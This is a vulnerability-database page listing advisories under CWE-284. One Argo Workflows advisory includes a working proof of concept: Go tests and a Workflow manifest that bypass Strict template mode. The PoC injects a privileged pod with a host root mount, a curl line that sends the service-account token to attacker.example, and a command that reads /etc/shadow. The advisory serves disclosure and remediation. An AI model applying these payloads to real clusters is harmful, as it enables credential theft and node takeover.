CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
10636 vulnerabilities reference this CWE, most recent first.
GHSA-48HW-CV6F-MCPJ
Vulnerability from github – Published: 2025-11-10 21:30 – Updated: 2026-06-02 15:31BusyBox wget thru 1.3.7 accepted raw CR (0x0D)/LF (0x0A) and other C0 control bytes in the HTTP request-target (path/query), allowing the request line to be split and attacker-controlled headers to be injected. To preserve the HTTP/1.1 request-line shape METHOD SP request-target SP HTTP/1.1, a raw space (0x20) in the request-target must also be rejected (clients should use %20).
{
"affected": [],
"aliases": [
"CVE-2025-60876"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-10T20:15:48Z",
"severity": "MODERATE"
},
"details": "BusyBox wget thru 1.3.7 accepted raw CR (0x0D)/LF (0x0A) and other C0 control bytes in the HTTP request-target (path/query), allowing the request line to be split and attacker-controlled headers to be injected. To preserve the HTTP/1.1 request-line shape METHOD SP request-target SP HTTP/1.1, a raw space (0x20) in the request-target must also be rejected (clients should use %20).",
"id": "GHSA-48hw-cv6f-mcpj",
"modified": "2026-06-02T15:31:49Z",
"published": "2025-11-10T21:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60876"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-253495.html"
},
{
"type": "WEB",
"url": "https://gist.github.com/subyumatest/41554af6a72aedaacaec026adc311092"
},
{
"type": "WEB",
"url": "https://lists.busybox.net/pipermail/busybox/attachments/20250823/ccdc96ef/attachment-0001.htm"
},
{
"type": "WEB",
"url": "https://lists.busybox.net/pipermail/busybox/attachments/20250828/e7f90492/attachment.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-48P8-54RV-5V4R
Vulnerability from github – Published: 2025-04-15 21:31 – Updated: 2025-04-15 21:31Vulnerability in the Oracle Solaris product of Oracle Systems (component: Filesystem). The supported version that is affected is 11. Difficult to exploit vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Solaris, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2025-30690"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-15T21:15:58Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle Solaris product of Oracle Systems (component: Filesystem). The supported version that is affected is 11. Difficult to exploit vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Solaris, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H).",
"id": "GHSA-48p8-54rv-5v4r",
"modified": "2025-04-15T21:31:46Z",
"published": "2025-04-15T21:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30690"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-48P8-G2FX-3WWM
Vulnerability from github – Published: 2026-08-13 14:16 – Updated: 2026-08-13 14:16Summary
The allow-list fix for CVE-2026-31892 (GHSA-3wf5-g532-rcrr), and its follow-up coverage of hostNetwork/securityContext/serviceAccountName in GHSA-3775-99mw-8rp4, is incomplete. workflow/util/merge.go ValidateUserOverrides / SanitizeUserWorkflowSpec walk only the top-level fields of WorkflowSpec via reflection. WorkflowSpec.ArtifactGC is allow-listed because admins want users to configure artifact garbage collection. The struct behind that field, WorkflowLevelArtifactGC, has a PodSpecPatch sub-field whose contents flow unmodified into util.ApplyPodSpecPatch on the artifact-GC pod - the same sink the original fix closed for WorkflowSpec.PodSpecPatch. A user submitting a Workflow under templateReferencing: Strict or Secure can therefore still inject an arbitrary strategic merge patch into the artifact-GC pod (hostPath volumes, privileged: true, arbitrary image and command, hostNetwork: true), defeating the stated purpose of Strict/Secure reference mode.
Details
Locations in main at 4d9f021 (HEAD 2026-04-23):
Allow-list and reflection scope - workflow/util/merge.go:19-60:
var allowedUserOverrideFields = map[string]bool{
"Arguments": true,
"Entrypoint": true,
...
"ArtifactGC": true, // <-- allow-listed wholesale
}
func ValidateUserOverrides(userSpec *wfv1.WorkflowSpec) error {
v := reflect.ValueOf(userSpec).Elem()
t := v.Type()
zero := reflect.New(t).Elem()
for i := 0; i < t.NumField(); i++ {
fieldName := t.Field(i).Name
if allowedUserOverrideFields[fieldName] {
continue // <-- sub-fields are not walked
}
if !reflect.DeepEqual(v.Field(i).Interface(), zero.Field(i).Interface()) {
violations = append(violations, fieldName)
}
}
...
}
The allow-listed type - pkg/apis/workflow/v1alpha1/workflow_types.go:1207-1217:
type WorkflowLevelArtifactGC struct {
ArtifactGC `json:",inline"`
ForceFinalizerRemoval bool `json:"forceFinalizerRemoval,omitempty"`
PodSpecPatch string `json:"podSpecPatch,omitempty"` // <-- sink input
}
The sink - workflow/controller/artifact_gc.go:731-740 reads the user-controlled value:
func (woc *wfOperationCtx) getArtifactGCPodInfo(artifact *wfv1.Artifact) podInfo {
info := podInfo{}
if woc.execWf.Spec.ArtifactGC != nil {
woc.updateArtifactGCPodInfo(&woc.execWf.Spec.ArtifactGC.ArtifactGC, &info)
info.podSpecPatch = woc.execWf.Spec.ArtifactGC.PodSpecPatch
}
...
}
And workflow/controller/artifact_gc.go:518-525 feeds it unchanged to the same helper that CVE-2026-31892 closed for the top-level field:
if info.podSpecPatch != "" {
patchedPodSpec, patchErr := util.ApplyPodSpecPatch(pod.Spec, info.podSpecPatch)
if patchErr != nil {
return nil, patchErr
}
pod.Spec = *patchedPodSpec
}
util.ApplyPodSpecPatch (workflow/util/util.go:1560) is a raw strategicpatch.StrategicMergePatch over the whole apiv1.PodSpec with no field-level restriction; it is the same primitive that was weaponized by the original CVE-2026-31892 against WorkflowSpec.PodSpecPatch. The pod it is applied to - built in workflow/controller/artifact_gc.go ~line 460-495 - has AutomountServiceAccountToken: true and a hardened MinimalCtrSC() security context that the patch fully overrides.
The merge path is the one the fix already walks. operator.go:#setStoredWfSpec does SanitizeUserWorkflowSpec(&woc.wf.Spec) before JoinWorkflowSpec(userSpec, workflowTemplateSpec, wfDefaultSpec). Sanitize preserves ArtifactGC wholesale. Join uses strategicpatch.StrategicMergePatch with the user spec as the target, so the user's artifactGC.podSpecPatch value wins whenever it is non-empty.
Precondition for the attack: the referenced WorkflowTemplate has at least one template with an output artifact. workflow/controller/artifact_gc.go:79 HasArtifactGC iterates execWf.Spec.Templates[*].Outputs.Artifacts[*] and asks GetArtifactGCStrategy(&artifact), which falls back to w.Spec.ArtifactGC.Strategy when the per-artifact strategy is Undefined (pkg/apis/workflow/v1alpha1/workflow_types.go:245). The user supplies spec.artifactGC.strategy: OnWorkflowCompletion (in the allow-list) so the fallback is satisfied on any template that emits artifacts - the common case for real workloads.
No validation sits between sanitize and sink:
grep -rn "ValidateArtifactGC\|validateArtifactGC\|ArtifactGC.*PodSpecPatch" --include="*.go" workflow/validate/
# (no output)
The merge-package test file added with the fix (workflow/util/merge_test.go @ 4d9f021) covers only WorkflowSpec.PodSpecPatch; ArtifactGC.PodSpecPatch is not exercised.
PoC
Self-contained Go unit tests against the shipped workflow/util package at main@4d9f021. Drop either file into workflow/util/ and run go test.
poc/merge_artifactgc_poc_test.go:
package util
import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
wfv1 "github.com/argoproj/argo-workflows/v4/pkg/apis/workflow/v1alpha1"
)
func TestPoC_ArtifactGCPodSpecPatchPassesAllowList(t *testing.T) {
attackerPatch := `{"containers":[{"name":"main","image":"attacker/evil:latest",` +
`"command":["sh","-c","curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]}],` +
`"hostNetwork":true}`
userSpec := &wfv1.WorkflowSpec{
WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"},
ArtifactGC: &wfv1.WorkflowLevelArtifactGC{
ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},
PodSpecPatch: attackerPatch,
},
}
// Gate 1: allow-list. Expected to reject - does not.
require.NoError(t, ValidateUserOverrides(userSpec))
// Gate 2: sanitizer defense-in-depth. Expected to strip - does not.
sanitized := SanitizeUserWorkflowSpec(userSpec)
assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch)
}
poc/artgc_sink_poc_test.go demonstrates the same patch reaching ApplyPodSpecPatch and mutating the hardened pod baseline (switches image, sets privileged: true, sets hostNetwork: true, adds a hostPath: / volume):
func TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch(t *testing.T) {
attackerPatch := `
containers:
- name: main
image: attacker/evil:latest
command: [sh, -c, "curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]
securityContext:
privileged: true
runAsUser: 0
runAsNonRoot: false
allowPrivilegeEscalation: true
capabilities: {drop: null, add: [SYS_ADMIN]}
readOnlyRootFilesystem: false
hostNetwork: true
volumes:
- name: hostroot
hostPath: {path: /}
`
userSpec := &wfv1.WorkflowSpec{
WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"},
ArtifactGC: &wfv1.WorkflowLevelArtifactGC{
ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},
PodSpecPatch: attackerPatch,
},
}
require.NoError(t, ValidateUserOverrides(userSpec))
sanitized := SanitizeUserWorkflowSpec(userSpec)
// Baseline built exactly like workflow/controller/artifact_gc.go:createArtifactGCPod.
basePod := apiv1.PodSpec{ /* AutomountSAToken=true, MinimalCtrSC, limits, etc. */ }
patched, err := ApplyPodSpecPatch(basePod, sanitized.ArtifactGC.PodSpecPatch)
require.NoError(t, err)
assert.Equal(t, "attacker/evil:latest", patched.Containers[0].Image)
assert.Equal(t, true, *patched.Containers[0].SecurityContext.Privileged)
assert.Equal(t, true, patched.HostNetwork)
assert.Equal(t, "/", patched.Volumes[0].HostPath.Path)
}
Run:
go test -v -run "TestPoC_ArtifactGC" ./workflow/util/
Captured output:
=== RUN TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch
--- PASS: TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch (0.00s)
=== RUN TestPoC_ArtifactGCPodSpecPatchPassesAllowList
--- PASS: TestPoC_ArtifactGCPodSpecPatchPassesAllowList (0.00s)
PASS
ok github.com/argoproj/argo-workflows/v4/workflow/util 0.036s
End-to-end Workflow manifest (for a live cluster reproduction by maintainers):
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata: {name: safe-template}
spec:
entrypoint: main
templates:
- name: main
container: {image: argoexec:latest, command: [echo, hello]}
outputs:
artifacts:
- {name: artifact, path: /tmp/artifact}
---
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata: {generateName: bypass-}
spec:
workflowTemplateRef: {name: safe-template}
artifactGC:
strategy: OnWorkflowCompletion
podSpecPatch: |
containers:
- name: main
image: attacker/evil:latest
command: [sh, -c, "while true; do cat /host/etc/shadow; sleep 3600; done"]
hostNetwork: true
volumes:
- name: hostroot
hostPath: {path: /}
Controller config for the test cluster:
workflowRestrictions:
templateReferencing: Strict
With the fix for CVE-2026-31892 in place, submitting this Workflow is expected to fail validation (the fix explicitly advertises that Strict mode restricts users to admin-approved templates). It is accepted, and the artifact-GC pod that the controller creates on workflow completion picks up the attacker's image, command, hostPath mount, and hostNetwork.
Impact
Under templateReferencing: Strict or Secure, the purpose of the allow-list introduced in 4d9f021 is to make workflowTemplateRef the sole mechanism by which a user can request Workflow execution and to block spec fields that let the user override the admin's container configuration. ArtifactGC.PodSpecPatch is exactly such an override: a strategic merge patch applied by the controller to the artifact-GC pod, with no schema-level restriction on what it may change. Any template whose authors have declared output artifacts - i.e., any workflow that produces data, which is the motivating Argo use case - gives the submitter a path to:
- run an attacker-chosen image as a container in the workflow's namespace, with
AutomountServiceAccountToken: true, i.e. holding the artifact-GC pod's service-account token, - bypass
common.MinimalCtrSC()/common.MinimalPodSC()by settingprivileged: true,allowPrivilegeEscalation: true,runAsUser: 0,readOnlyRootFilesystem: false,capabilities.add: [SYS_ADMIN], - mount
hostPath: /into the pod (reads and writes to the kubelet's node filesystem, subject only to any cluster-level PSA/PSP the operator has enforced independently), - enable
hostNetwork: true(equivalent to being on the node's network for the lifetime of the pod).
This is the same class of impact the original CVE-2026-31892 (CVSS 8.9 - critical in the Strict-mode threat model) was rated for, against an identical sink. The fix blocks the top-level PodSpecPatch field but leaves a second call site with the same semantics reachable through an allow-listed sub-field.
A minimal fix is either (a) add a sub-field pass to ValidateUserOverrides/SanitizeUserWorkflowSpec that rejects/empties ArtifactGC.PodSpecPatch when MustUseReference() is true, or (b) gate the if info.podSpecPatch != "" branch in createArtifactGCPod on the same WorkflowRestrictions.MustUseReference() check so the sink itself refuses user-supplied patches in Strict/Secure mode.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v4"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.7.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.5.3-rc4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54526"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-13T14:16:09Z",
"nvd_published_at": "2026-07-16T19:16:50Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe allow-list fix for CVE-2026-31892 (GHSA-3wf5-g532-rcrr), and its follow-up coverage of `hostNetwork`/`securityContext`/`serviceAccountName` in GHSA-3775-99mw-8rp4, is incomplete. `workflow/util/merge.go` `ValidateUserOverrides` / `SanitizeUserWorkflowSpec` walk only the top-level fields of `WorkflowSpec` via reflection. `WorkflowSpec.ArtifactGC` is allow-listed because admins want users to configure artifact garbage collection. The struct behind that field, `WorkflowLevelArtifactGC`, has a `PodSpecPatch` sub-field whose contents flow unmodified into `util.ApplyPodSpecPatch` on the artifact-GC pod - the same sink the original fix closed for `WorkflowSpec.PodSpecPatch`. A user submitting a Workflow under `templateReferencing: Strict` or `Secure` can therefore still inject an arbitrary strategic merge patch into the artifact-GC pod (hostPath volumes, `privileged: true`, arbitrary image and command, `hostNetwork: true`), defeating the stated purpose of Strict/Secure reference mode.\n\n### Details\n\nLocations in `main` at `4d9f021` (HEAD 2026-04-23):\n\nAllow-list and reflection scope - `workflow/util/merge.go:19-60`:\n\n```go\nvar allowedUserOverrideFields = map[string]bool{\n \"Arguments\": true,\n \"Entrypoint\": true,\n ...\n \"ArtifactGC\": true, // \u003c-- allow-listed wholesale\n}\n\nfunc ValidateUserOverrides(userSpec *wfv1.WorkflowSpec) error {\n v := reflect.ValueOf(userSpec).Elem()\n t := v.Type()\n zero := reflect.New(t).Elem()\n for i := 0; i \u003c t.NumField(); i++ {\n fieldName := t.Field(i).Name\n if allowedUserOverrideFields[fieldName] {\n continue // \u003c-- sub-fields are not walked\n }\n if !reflect.DeepEqual(v.Field(i).Interface(), zero.Field(i).Interface()) {\n violations = append(violations, fieldName)\n }\n }\n ...\n}\n```\n\nThe allow-listed type - `pkg/apis/workflow/v1alpha1/workflow_types.go:1207-1217`:\n\n```go\ntype WorkflowLevelArtifactGC struct {\n ArtifactGC `json:\",inline\"`\n ForceFinalizerRemoval bool `json:\"forceFinalizerRemoval,omitempty\"`\n PodSpecPatch string `json:\"podSpecPatch,omitempty\"` // \u003c-- sink input\n}\n```\n\nThe sink - `workflow/controller/artifact_gc.go:731-740` reads the user-controlled value:\n\n```go\nfunc (woc *wfOperationCtx) getArtifactGCPodInfo(artifact *wfv1.Artifact) podInfo {\n info := podInfo{}\n if woc.execWf.Spec.ArtifactGC != nil {\n woc.updateArtifactGCPodInfo(\u0026woc.execWf.Spec.ArtifactGC.ArtifactGC, \u0026info)\n info.podSpecPatch = woc.execWf.Spec.ArtifactGC.PodSpecPatch\n }\n ...\n}\n```\n\nAnd `workflow/controller/artifact_gc.go:518-525` feeds it unchanged to the same helper that CVE-2026-31892 closed for the top-level field:\n\n```go\nif info.podSpecPatch != \"\" {\n patchedPodSpec, patchErr := util.ApplyPodSpecPatch(pod.Spec, info.podSpecPatch)\n if patchErr != nil {\n return nil, patchErr\n }\n pod.Spec = *patchedPodSpec\n}\n```\n\n`util.ApplyPodSpecPatch` (`workflow/util/util.go:1560`) is a raw `strategicpatch.StrategicMergePatch` over the whole `apiv1.PodSpec` with no field-level restriction; it is the same primitive that was weaponized by the original CVE-2026-31892 against `WorkflowSpec.PodSpecPatch`. The pod it is applied to - built in `workflow/controller/artifact_gc.go` ~line 460-495 - has `AutomountServiceAccountToken: true` and a hardened `MinimalCtrSC()` security context that the patch fully overrides.\n\nThe merge path is the one the fix already walks. `operator.go:#setStoredWfSpec` does `SanitizeUserWorkflowSpec(\u0026woc.wf.Spec)` before `JoinWorkflowSpec(userSpec, workflowTemplateSpec, wfDefaultSpec)`. `Sanitize` preserves `ArtifactGC` wholesale. `Join` uses `strategicpatch.StrategicMergePatch` with the user spec as the target, so the user\u0027s `artifactGC.podSpecPatch` value wins whenever it is non-empty.\n\nPrecondition for the attack: the referenced `WorkflowTemplate` has at least one template with an output artifact. `workflow/controller/artifact_gc.go:79` `HasArtifactGC` iterates `execWf.Spec.Templates[*].Outputs.Artifacts[*]` and asks `GetArtifactGCStrategy(\u0026artifact)`, which falls back to `w.Spec.ArtifactGC.Strategy` when the per-artifact strategy is `Undefined` (`pkg/apis/workflow/v1alpha1/workflow_types.go:245`). The user supplies `spec.artifactGC.strategy: OnWorkflowCompletion` (in the allow-list) so the fallback is satisfied on any template that emits artifacts - the common case for real workloads.\n\nNo validation sits between sanitize and sink:\n\n```\ngrep -rn \"ValidateArtifactGC\\|validateArtifactGC\\|ArtifactGC.*PodSpecPatch\" --include=\"*.go\" workflow/validate/\n# (no output)\n```\n\nThe merge-package test file added with the fix (`workflow/util/merge_test.go` @ `4d9f021`) covers only `WorkflowSpec.PodSpecPatch`; `ArtifactGC.PodSpecPatch` is not exercised.\n\n### PoC\n\nSelf-contained Go unit tests against the shipped `workflow/util` package at `main@4d9f021`. Drop either file into `workflow/util/` and run `go test`.\n\n`poc/merge_artifactgc_poc_test.go`:\n\n```go\npackage util\n\nimport (\n \"testing\"\n \"github.com/stretchr/testify/assert\"\n \"github.com/stretchr/testify/require\"\n wfv1 \"github.com/argoproj/argo-workflows/v4/pkg/apis/workflow/v1alpha1\"\n)\n\nfunc TestPoC_ArtifactGCPodSpecPatchPassesAllowList(t *testing.T) {\n attackerPatch := `{\"containers\":[{\"name\":\"main\",\"image\":\"attacker/evil:latest\",` +\n `\"command\":[\"sh\",\"-c\",\"curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token\"]}],` +\n `\"hostNetwork\":true}`\n userSpec := \u0026wfv1.WorkflowSpec{\n WorkflowTemplateRef: \u0026wfv1.WorkflowTemplateRef{Name: \"safe-template\"},\n ArtifactGC: \u0026wfv1.WorkflowLevelArtifactGC{\n ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},\n PodSpecPatch: attackerPatch,\n },\n }\n\n // Gate 1: allow-list. Expected to reject - does not.\n require.NoError(t, ValidateUserOverrides(userSpec))\n\n // Gate 2: sanitizer defense-in-depth. Expected to strip - does not.\n sanitized := SanitizeUserWorkflowSpec(userSpec)\n assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch)\n}\n```\n\n`poc/artgc_sink_poc_test.go` demonstrates the same patch reaching `ApplyPodSpecPatch` and mutating the hardened pod baseline (switches image, sets `privileged: true`, sets `hostNetwork: true`, adds a `hostPath: /` volume):\n\n```go\nfunc TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch(t *testing.T) {\n attackerPatch := `\ncontainers:\n- name: main\n image: attacker/evil:latest\n command: [sh, -c, \"curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token\"]\n securityContext:\n privileged: true\n runAsUser: 0\n runAsNonRoot: false\n allowPrivilegeEscalation: true\n capabilities: {drop: null, add: [SYS_ADMIN]}\n readOnlyRootFilesystem: false\nhostNetwork: true\nvolumes:\n- name: hostroot\n hostPath: {path: /}\n`\n userSpec := \u0026wfv1.WorkflowSpec{\n WorkflowTemplateRef: \u0026wfv1.WorkflowTemplateRef{Name: \"safe-template\"},\n ArtifactGC: \u0026wfv1.WorkflowLevelArtifactGC{\n ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},\n PodSpecPatch: attackerPatch,\n },\n }\n require.NoError(t, ValidateUserOverrides(userSpec))\n sanitized := SanitizeUserWorkflowSpec(userSpec)\n\n // Baseline built exactly like workflow/controller/artifact_gc.go:createArtifactGCPod.\n basePod := apiv1.PodSpec{ /* AutomountSAToken=true, MinimalCtrSC, limits, etc. */ }\n\n patched, err := ApplyPodSpecPatch(basePod, sanitized.ArtifactGC.PodSpecPatch)\n require.NoError(t, err)\n\n assert.Equal(t, \"attacker/evil:latest\", patched.Containers[0].Image)\n assert.Equal(t, true, *patched.Containers[0].SecurityContext.Privileged)\n assert.Equal(t, true, patched.HostNetwork)\n assert.Equal(t, \"/\", patched.Volumes[0].HostPath.Path)\n}\n```\n\nRun:\n\n```\ngo test -v -run \"TestPoC_ArtifactGC\" ./workflow/util/\n```\n\nCaptured output:\n\n```\n=== RUN TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch\n--- PASS: TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch (0.00s)\n=== RUN TestPoC_ArtifactGCPodSpecPatchPassesAllowList\n--- PASS: TestPoC_ArtifactGCPodSpecPatchPassesAllowList (0.00s)\nPASS\nok \tgithub.com/argoproj/argo-workflows/v4/workflow/util\t0.036s\n```\n\nEnd-to-end Workflow manifest (for a live cluster reproduction by maintainers):\n\n```yaml\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata: {name: safe-template}\nspec:\n entrypoint: main\n templates:\n - name: main\n container: {image: argoexec:latest, command: [echo, hello]}\n outputs:\n artifacts:\n - {name: artifact, path: /tmp/artifact}\n---\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata: {generateName: bypass-}\nspec:\n workflowTemplateRef: {name: safe-template}\n artifactGC:\n strategy: OnWorkflowCompletion\n podSpecPatch: |\n containers:\n - name: main\n image: attacker/evil:latest\n command: [sh, -c, \"while true; do cat /host/etc/shadow; sleep 3600; done\"]\n hostNetwork: true\n volumes:\n - name: hostroot\n hostPath: {path: /}\n```\n\nController config for the test cluster:\n\n```yaml\nworkflowRestrictions:\n templateReferencing: Strict\n```\n\nWith the fix for CVE-2026-31892 in place, submitting this Workflow is expected to fail validation (the fix explicitly advertises that Strict mode restricts users to admin-approved templates). It is accepted, and the artifact-GC pod that the controller creates on workflow completion picks up the attacker\u0027s image, command, hostPath mount, and hostNetwork.\n\n### Impact\n\nUnder `templateReferencing: Strict` or `Secure`, the purpose of the allow-list introduced in `4d9f021` is to make `workflowTemplateRef` the sole mechanism by which a user can request Workflow execution and to block spec fields that let the user override the admin\u0027s container configuration. `ArtifactGC.PodSpecPatch` is exactly such an override: a strategic merge patch applied by the controller to the artifact-GC pod, with no schema-level restriction on what it may change. Any template whose authors have declared output artifacts - i.e., any workflow that produces data, which is the motivating Argo use case - gives the submitter a path to:\n\n- run an attacker-chosen image as a container in the workflow\u0027s namespace, with `AutomountServiceAccountToken: true`, i.e. holding the artifact-GC pod\u0027s service-account token,\n- bypass `common.MinimalCtrSC()` / `common.MinimalPodSC()` by setting `privileged: true`, `allowPrivilegeEscalation: true`, `runAsUser: 0`, `readOnlyRootFilesystem: false`, `capabilities.add: [SYS_ADMIN]`,\n- mount `hostPath: /` into the pod (reads and writes to the kubelet\u0027s node filesystem, subject only to any cluster-level PSA/PSP the operator has enforced independently),\n- enable `hostNetwork: true` (equivalent to being on the node\u0027s network for the lifetime of the pod).\n\nThis is the same class of impact the original CVE-2026-31892 (CVSS 8.9 - critical in the Strict-mode threat model) was rated for, against an identical sink. The fix blocks the top-level `PodSpecPatch` field but leaves a second call site with the same semantics reachable through an allow-listed sub-field.\n\nA minimal fix is either (a) add a sub-field pass to `ValidateUserOverrides`/`SanitizeUserWorkflowSpec` that rejects/empties `ArtifactGC.PodSpecPatch` when `MustUseReference()` is true, or (b) gate the `if info.podSpecPatch != \"\"` branch in `createArtifactGCPod` on the same `WorkflowRestrictions.MustUseReference()` check so the sink itself refuses user-supplied patches in Strict/Secure mode.\n\nCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"id": "GHSA-48p8-g2fx-3wwm",
"modified": "2026-08-13T14:16:09Z",
"published": "2026-08-13T14:16:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-48p8-g2fx-3wwm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54526"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/commit/277e9cef0ad16d7eaaab253573d0695951a65dbd"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/commit/358cc3968c8f06f1be0967e41df191088db0b662"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-workflows"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/releases/tag/v3.7.15"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/releases/tag/v4.0.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Argo Workflows: ArtifactGC.PodSpecPatch bypasses Strict/Secure template reference allow-list (Incomplete fix for CVE-2026-31892)"
}
GHSA-48PG-H3WR-CM2C
Vulnerability from github – Published: 2024-03-13 18:31 – Updated: 2026-04-08 21:32The LifterLMS – WordPress LMS Plugin for eLearning plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'process_review' function in all versions up to, and including, 7.5.1. This makes it possible for unauthenticated attackers to publish an unrestricted number of reviews on the site.
{
"affected": [],
"aliases": [
"CVE-2024-0377"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-13T16:15:11Z",
"severity": "MODERATE"
},
"details": "The LifterLMS \u2013 WordPress LMS Plugin for eLearning plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the \u0027process_review\u0027 function in all versions up to, and including, 7.5.1. This makes it possible for unauthenticated attackers to publish an unrestricted number of reviews on the site.",
"id": "GHSA-48pg-h3wr-cm2c",
"modified": "2026-04-08T21:32:20Z",
"published": "2024-03-13T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0377"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3036762/lifterlms/tags/7.5.2/includes/class.llms.review.php?old=2903997\u0026old_path=lifterlms/trunk/includes/class.llms.review.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d1f41400-5c59-444d-9c1e-121e83449521?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-48VQ-7H22-VF29
Vulnerability from github – Published: 2026-05-19 12:31 – Updated: 2026-05-19 21:32Improper Access Control vulnerability in Apache OFBiz in multi-tenant deployments.
This issue affects Apache OFBiz: before 24.09.06.
Users are recommended to upgrade to version 24.09.06, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-31388"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-19T10:16:23Z",
"severity": "MODERATE"
},
